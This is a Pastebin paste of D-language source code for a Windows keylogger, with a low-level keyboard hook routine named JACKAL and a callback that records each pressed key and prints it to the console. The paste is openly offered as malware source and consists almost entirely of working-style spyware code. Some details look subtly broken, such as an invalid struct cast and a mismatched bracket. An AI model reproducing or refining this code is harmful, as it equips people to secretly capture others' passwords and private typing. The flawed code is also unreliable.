Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import core.runtime;
- import std.c.windows.windows;
- import std.stdio;
- import std.string;
- import core.thread;
- import win32.winuser : GetKeyNameText; //The only function we need from winuser.d
- alias HANDLE HHOOK; //A HHOOK is called a HANDLE in D so we use alias
- HHOOK hKeyboardHook;
- /* Define our constants and other stuff */
- const int HC_ACTION = 0;
- //const int WM_KEYDOWN = 0x0100;
- //const int WM_SYSKEYDOWN = 0x0104;
- const int WH_KEYBOARD_LL = 13;
- struct KBDLLHOOKSTRUCT
- {
- public int vkCode;
- public int scanCode;
- public int flags;
- public int time;
- public int dwExtraInfo;
- }
- extern (Windows) HHOOK SetWindowsHookExA(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
- extern (Windows) bool UnhookWindowsHookEx(HHOOK hhk);
- extern (Windows) int CallNextHookEx(HHOOK hHook, int nCode, WPARAM wParam, LPARAM lParam);
- //extern (Windows) int GetKeyNameTextW(DWORD lParam, string lpString, int nSize);
- /* Our actual code here l0l */
- LRESULT Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
- {
- if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
- {
- KBDLLHOOKSTRUCT hooked_key = cast(KBDLLHOOKSTRUCT) lParam;
- DWORD dwMsg = 1;
- dwMsg += hooked_key.scanCode << 16;
- dwMsg += hooked_key.flags << 24;
- char lpszKeyName[1024];
- lpszKeyName[0] = '[';
- char* cChar = &lpszKeyName[0];
- int i = GetKeyNameText(dwMsg, cChar, 0xFF) + 1;
- int key = hooked_key.vkCode;
- lpszKeyName[i] = '[';
- if (key >= 'A' && key <= 'Z')
- {
- if (GetAsyncKeyState(VK_SHIFT) >= 0) key += 0x20;
- writeln(key);
- }
- else
- {
- writeln(lpszKeyName);
- }
- }
- return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
- }
- DWORD JACKAL(LPVOID lpParam)
- {
- HINSTANCE hins;
- hins = GetModuleHandleA(null);
- HOOKPROC _proc = cast(HOOKPROC)Keylogger;
- hKeyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, _proc, hins, 0);
- MSG message;
- while (GetMessageA(&message, null, 0, 0))
- {
- TranslateMessage(&message);
- DispatchMessageA(&message);
- }
- UnhookWindowsHookEx(hKeyboardHook);
- return 0;
- }
- int main(string[] argv)
- {
- JACKAL(null);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement